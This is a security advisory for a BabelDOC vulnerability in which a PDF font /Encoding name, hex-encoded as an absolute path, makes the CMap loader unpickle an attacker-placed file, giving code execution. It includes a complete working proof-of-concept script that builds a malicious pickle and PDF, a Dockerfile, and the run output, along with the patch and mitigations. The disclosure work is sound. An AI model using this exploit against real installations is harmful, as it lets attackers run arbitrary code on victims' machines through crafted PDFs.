CVE-2026-54071

Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py

BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) deserializes untrusted pickle data when loading CMap files. The _load_data() method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to os.path.join() and pickle.loads(). Because Python's os.path.join() discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's /Encoding name (e.g., /#2Ftmp#2Fattacker#2Fevil) can redirect deserialization to any attacker-writable .pickle.gz file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.

Details

The vulnerable function is CMapDB._load_data() at babeldoc/pdfminer/cmapdb.py:232–245:

@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")          # line 233, only NUL is stripped
    filename = "%s.pickle.gz" % name       # line 234, attacker-controlled string
    ...
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # line 241, no realpath/canonical check
        if os.path.exists(path):
            gzfile = gzip.open(path)
            try:
                return type(str(name), (), pickle.loads(gzfile.read()))  # line 245, unconditional pickle

Path injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as #xx. The pdfminer literal-name parser (psparser._parse_literal_hex) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal /#2Ftmp#2Fattacker#2Fevil is decoded to the Python string /tmp/attacker/evil.

Python os.path.join() absolute-path override. When the decoded name starts with / (i.e., it is an absolute path), Python's os.path.join(directory, name + ".pickle.gz") ignores directory entirely and returns the absolute path unchanged. The trusted cmap_paths directories (/usr/share/pdfminer/, the package's own cmap/ folder) are therefore completely bypassed.

Data flow from PDF to sink:

1. babeldoc/main.py:611–622, CLI accepts a PDF path; only existence and .pdf suffix are checked.
2. babeldoc/main.py:678–679, path stored in TranslationConfig(input_file=file).
3. babeldoc/format/pdf/high_level.py:472–488, translation_config.input_file enters the translate pipeline.
4. babeldoc/format/pdf/high_level.py:805–848, PDF saved to temp_pdf_path and parsed with parse_prepared_pdf_with_new_parser_to_legacy_ir.
5. babeldoc/format/pdf/new_parser/native_parse.py:60–70, prepared pages loaded and interpreted.
6. babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34, PyMuPDF opens the PDF and builds page resources.
7. babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94, font resources converted to PreparedFontSpec.
8. babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35, page resource bundle resolves root font map.
9. babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87, each font spec projected and passed to font_factory.create_font.
10. babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493, CID fonts call build_cid_cmap(spec, literal_name=literal_name).
11. babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77, PDF-controlled /Encoding/CMapName normalized and passed to CMapDB.get_cmap. _normalize_cmap_name() removes only a single leading /; all other path characters pass through.
12. babeldoc/pdfminer/cmapdb.py:233–245, sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with pickle.loads().

Sanitization gaps:

• name.replace("\0", "") removes only the NUL byte; .., /, \, and hex-decoded path separators are unaffected.
• There is no os.path.realpath(), os.path.abspath(), or os.path.commonpath() containment check before the file is opened.
• There is no allowlist of known CMap names nor any integrity verification of the pickle data.

Recommended patch (babeldoc/pdfminer/cmapdb.py):

--- a/babeldoc/pdfminer/cmapdb.py
+++ b/babeldoc/pdfminer/cmapdb.py
@@
         cmap_paths = (
             os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
             os.path.join(os.path.dirname(__file__), "cmap"),
         )
         for directory in cmap_paths:
-            path = os.path.join(directory, filename)
+            base_dir = os.path.realpath(directory)
+            path = os.path.realpath(os.path.join(base_dir, filename))
+            try:
+                if os.path.commonpath([base_dir, path]) != base_dir:
+                    continue
+            except ValueError:
+                continue
             if os.path.exists(path):
                 gzfile = gzip.open(path)

A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.

PoC

Environment setup (Docker, recommended for isolation):

# From the repository root
docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
docker run --rm vuln-001-babeldoc-cmap

Manual setup (local venv):

python3 -m venv /tmp/babeldoc-poc-venv
source /tmp/babeldoc-poc-venv/bin/activate
pip install freetype-py==2.5.1 charset-normalizer cryptography
export PYTHONPATH=/path/to/BabelDOC
python3 poc.py

PoC script (poc.py), key steps:

import gzip, pathlib, pickle, sys

CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF    = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE       = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")

# Step 1, write the malicious pickle to a world-writable location
class MaliciousPayload:
    def __reduce__(self):
        return (pathlib.Path(str(PROOF_FILE)).write_text,
                ("RCE_CONFIRMED: pickle.loads executed attacker payload",))

CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
    pickle.dump(MaliciousPayload(), fh)

# Step 2, craft a PDF whose /Encoding name hex-encodes the absolute path
# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...
# Full source in poc.py

# Step 3, trigger via the pdfminer high-level API
from babeldoc.pdfminer.high_level import extract_text
try:
    extract_text(str(MALICIOUS_PDF))
except TypeError:
    pass  # expected: type(name, (), <int>) fails after write_text returns int

# Step 4, verify
assert PROOF_FILE.exists(), "FAIL: proof file not created"
print(PROOF_FILE.read_text())  # => "RCE_CONFIRMED: pickle.loads executed attacker payload"

Phase 2 dynamic reproduction output (Docker container):

[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int
[*] This exception is expected; the payload ran before it.

============================================================
RESULT: PASS
Proof file: /tmp/babeldoc_cmap_rce_proof.txt
Content:    'RCE_CONFIRMED: pickle.loads executed attacker payload'
============================================================

The TypeError is benign and expected: write_text() returns an integer, and the subsequent type(name, (), <int>) call in _load_data() raises before reaching further code. The payload already executed successfully at that point.

Attack path summary:

PDF /Encoding  /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious
  -> pdfminer hex-decodes #2F -> '/'
  -> literal_name = "/tmp/babeldoc-cmap-poc/malicious"
  -> CMapDB._load_data("/tmp/babeldoc-cmap-poc/malicious")
  -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"   # absolute path!
  -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
     == "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"           # first arg discarded
  -> gzip.open() + pickle.loads() -> arbitrary code execution

Reproduction artifacts

Dockerfile

FROM python:3.11-slim

# Install system-level dependencies for freetype
RUN apt-get update && apt-get install -y --no-install-recommends \
    libfreetype6 \
    && rm -rf /var/lib/apt/lists/*

# Install minimal Python dependencies required by babeldoc/pdfminer
RUN pip install --no-cache-dir \
    freetype-py==2.5.1 \
    charset-normalizer \
    cryptography

# Copy the BabelDOC repository (only babeldoc package directory is needed)
COPY repo/babeldoc /app/babeldoc

# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py

WORKDIR /app

# PYTHONPATH exposes babeldoc package without a full pip install
ENV PYTHONPATH=/app

CMD ["python3", "poc.py"]

poc.py

"""
PoC: CMap Pickle Deserialization via Absolute Path Injection
CVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2

Vulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes
from the CMap name before building a filesystem path.  A PDF name object
using #xx hex-encoding can inject absolute path characters (/) so that
os.path.join() discards the trusted cmap directory entirely, opening and
unpickling an attacker-placed .pickle.gz file.

Attack flow:
  PDF /Encoding  /#2Ftmp#2F...#2Fmalicious
    -> pdfminer hex-decodes #2F -> '/'
    -> literal_name() returns "/tmp/.../malicious"
    -> _load_data("/tmp/.../malicious")
    -> filename = "/tmp/.../malicious.pickle.gz"   (absolute path!)
    -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
       == "/tmp/.../malicious.pickle.gz"            (Python discards first arg)
    -> gzip.open() + pickle.loads() => arbitrary code execution
"""

import gzip
import os
import pathlib
import pickle
import sys

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")


# ---------------------------------------------------------------------------
# Step 1: Build the malicious pickle payload
# ---------------------------------------------------------------------------
class MaliciousPayload:
    """Pickle payload that writes a proof file on deserialization."""

    def __reduce__(self):
        # Write proof file when unpickled; any writable command works here.
        return (
            pathlib.Path(str(PROOF_FILE)).write_text,
            ("RCE_CONFIRMED: pickle.loads executed attacker payload",),
        )


def create_malicious_pickle():
    CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
    PROOF_FILE.unlink(missing_ok=True)

    with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
        pickle.dump(MaliciousPayload(), fh)

    print(f"[+] Malicious pickle written: {MALICIOUS_PICKLE}")


# ---------------------------------------------------------------------------
# Step 2: Build the malicious PDF
# ---------------------------------------------------------------------------
def create_malicious_pdf():
    """
    Craft a minimal PDF with a Type0 CID font whose /Encoding name is a
    PDF literal that hex-encodes an absolute Unix path.

    PDF name syntax: /<characters>  where #xx is hex escape for byte 0xxx.
    "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to the name value
    "/tmp/babeldoc-cmap-poc/malicious" (starts with '/').

    When passed through babeldoc/pdfminer:
      literal_name(PSLiteral) -> "/tmp/babeldoc-cmap-poc/malicious"
      _load_data()  -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"
      os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
        => "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"  (absolute wins!)
    """
    # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious
    # '#2F' = '/' in PDF name hex encoding
    encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"

    content_stream = b"BT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\n"

    # PDF objects (1-indexed)
    objs = [
        # 1: Catalog
        b"<< /Type /Catalog /Pages 2 0 R >>",
        # 2: Pages
        b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
        # 3: Page - references content stream (4) and font (5)
        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]"
        b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>",
        # 4: Content stream
        b"<< /Length %d >>\nstream\n" % len(content_stream)
        + content_stream
        + b"\nendstream",
        # 5: Type0 font with malicious /Encoding name
        b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont"
        b" /Encoding " + encoding_name + b""
        b" /DescendantFonts [6 0 R] >>",
        # 6: CIDFontType2 descendant
        b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont"
        b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)"
        b" /Supplement 0 >> /FontDescriptor 7 0 R >>",
        # 7: FontDescriptor (minimal)
        b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4"
        b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0"
        b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>",
    ]

    buf = bytearray(b"%PDF-1.4\n")
    offsets = []
    for i, obj_data in enumerate(objs, 1):
        offsets.append(len(buf))
        buf += f"{i} 0 obj\n".encode() + obj_data + b"\nendobj\n"

    xref_offset = len(buf)
    buf += f"xref\n0 {len(objs) + 1}\n0000000000 65535 f \n".encode()
    for off in offsets:
        buf += f"{off:010d} 00000 n \n".encode()
    buf += (
        f"trailer\n<< /Size {len(objs) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n"
    ).encode()

    MALICIOUS_PDF.write_bytes(bytes(buf))
    print(f"[+] Malicious PDF written: {MALICIOUS_PDF}")


# ---------------------------------------------------------------------------
# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text
# ---------------------------------------------------------------------------
def trigger_exploit():
    from babeldoc.pdfminer.high_level import extract_text

    print(f"[*] Calling extract_text({MALICIOUS_PDF}) ...")
    try:
        result = extract_text(str(MALICIOUS_PDF))
        print(f"[+] extract_text completed, returned {len(result)} chars")
    except Exception as exc:
        # A TypeError is expected: after pickle.loads() returns the result of
        # write_text() (an int), the code tries type(name, (), <int>) which
        # raises TypeError.  The write has already happened at this point.
        print(f"[*] extract_text raised {type(exc).__name__}: {exc}")
        print("[*] This exception is expected; the payload ran before it.")


# ---------------------------------------------------------------------------
# Step 4: Verify RCE evidence
# ---------------------------------------------------------------------------
def verify_rce():
    if PROOF_FILE.exists():
        content = PROOF_FILE.read_text()
        print()
        print("=" * 60)
        print("RESULT: PASS")
        print(f"Proof file: {PROOF_FILE}")
        print(f"Content:    {content!r}")
        print("=" * 60)
        return True
    else:
        print()
        print("=" * 60)
        print("RESULT: FAIL")
        print(f"Proof file {PROOF_FILE} was NOT created.")
        print("=" * 60)
        return False


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    print("=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===")
    print(f"Python: {sys.version}")
    print()

    create_malicious_pickle()
    create_malicious_pdf()
    trigger_exploit()
    success = verify_rce()

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()

Notes from the maintainer

CVSS revision note

The CVSS v3.1 vector has been revised from the reporter's initial
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (8.6) to
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) on maintainer
review. The severity rating remains High.

One metric is revised; the remaining metrics (AV:L, AC:L, PR:N,
UI:R, C:H/I:H/A:H) are unchanged from the reporter's assessment.

• Scope: Changed → Unchanged. BabelDOC is a PDF-processing
  library running with the caller process's operating-system
  permissions; it does not enforce a separate security authority over
  OS files, users, or downstream services. The malicious pickle
  payload executes in that same BabelDOC Python process. Under CVSS
  v3.1, this is Scope Unchanged: the vulnerable component and the
  impacted component are governed by the same authority. No sandbox,
  VM, browser-client, or application-defined authorization boundary
  is crossed.

The remaining metrics are retained intentionally:

• AV:L, PR:N, UI:R: the attack requires local presence of
  attacker-influenced data (consistent with AV:L), does not require
  authenticated access to BabelDOC itself (PR:N), and depends on a
  user actually processing the crafted PDF (UI:R).
• AC:L: kept aligned with industry practice for CWE-502
  deserialization issues; once the supporting filesystem condition
  exists, the same-process exploitation path is consistent and
  repeatable.
• C:H, I:H, A:H: full code-execution impact within the
  BabelDOC process.

We thank EQSTLab for the detailed report and PoC; this revision is
limited to CVSS metric interpretation, and the issue remains High
severity when exploitable.

Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)

The original report covers entry point (1): the Encoding / CMapName
font dictionary path, with absolute-path injection. Local review during
patch preparation identified that the same _load_data sink is reached
from one additional independently exploitable PDF-controlled path and
two prefixed call sites covered at the sink for defense in depth:

1. Encoding / CMapName references in a font dictionary
   (reported entry; absolute-path injection per the upstream report,
   .. relative traversal also exploitable)
2. The PostScript usecmap operator inside an embedded CMap stream
   (independently exploitable via .. relative traversal; not in the
   original report)
3. CIDSystemInfo.Ordering flowing through get_unicode_map in the
   legacy pdfminer pipeline
4. CIDSystemInfo.Ordering flowing through get_unicode_map in the
   active new-parser pipeline

Call sites (3) and (4) were not reproduced as standalone PDF-only
exploit paths in v0.6.x. The get_unicode_map caller prepends a
to-unicode- prefix to the PDF-controlled name, which breaks
absolute-path injection and means .. traversal would require an
additional crafted directory layout such as a to-unicode-*
component under a CMap search location. The 0.6.3 sink-level fix
still covers these call sites, so future removal of the prefix or
a future unprefixed caller remains blocked.

Fix design

The runtime CMap loader in 0.6.3 refuses to deserialize any file that
does not simultaneously:

1. appear in a pinned manifest of bundled CMap filenames (allowlist),
2. resolve inside the bundled runtime/data/cmap directory after path
   resolution (containment check), and
3. byte-for-byte match the manifest's pinned byte size and SHA-256.

The integrity check runs on the compressed on-disk .gz bytes before
decompression, so files whose compressed size or SHA-256 differs from
the pinned manifest are rejected before gzip or pickle sees them.
The legacy CMAP_PATH external search path is removed entirely; only
the bundled directory is consulted. The active new-parser pipeline
and the vendored pdfminer pipeline share the same verified-load entry
point.

Related hardening shipped in 0.6.3

A separate hardening in the same release sanitizes PDF-controlled
XObject names before they reach the optional ImageWriter output
path, preventing PDF-driven writes outside the configured output
directory. This is separate from BabelDOC's default translation
pipeline: the optional ImageWriter is not used by default and is
only reachable when a third-party caller passes an explicit
output_dir. It is included here for completeness.

Risk reduction if you cannot upgrade immediately

These steps reduce known exploit preconditions on pre-0.6.3 versions;
they are not equivalent to the 0.6.3 fix.

• Do not set the CMAP_PATH environment variable when running
  BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3
  versions, unsetting it limits the attack surface to the bundled
  cmap directory under the BabelDOC package.
• Run BabelDOC under an account that cannot create files in any
  directory BabelDOC will read CMap data from, including any
  pre-0.6.3 CMAP_PATH target.
• Process only PDFs from trusted sources until upgrading.

Maintenance policy

BabelDOC publishes security fixes only in the latest release. We do
not publish maintainer-supported backports for older minor, patch, or
release lines. For this advisory, the maintainer-supported fixed
version is 0.6.3 or later; downstream distributors may carry their
own patches, but older BabelDOC releases will not receive a separate
upstream backport.

Acknowledgements

We thank EQSTLab for the detailed private report, complete
reproduction material, and coordinated-disclosure cooperation that
allowed this fix to be prepared and released before public
disclosure.

Timeline

• 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and
  notifies maintainers
• 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix
• 2026-06-03 09:50 UTC: this advisory published
• TBD: CVE identifier assigned (pending GitHub CNA review; GitHub
  documentation says CVE requests are usually reviewed within 72
  hours)

References

• BabelDOC 0.6.3 release notes:
  https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md
• CVE: TBD (pending CNA assignment)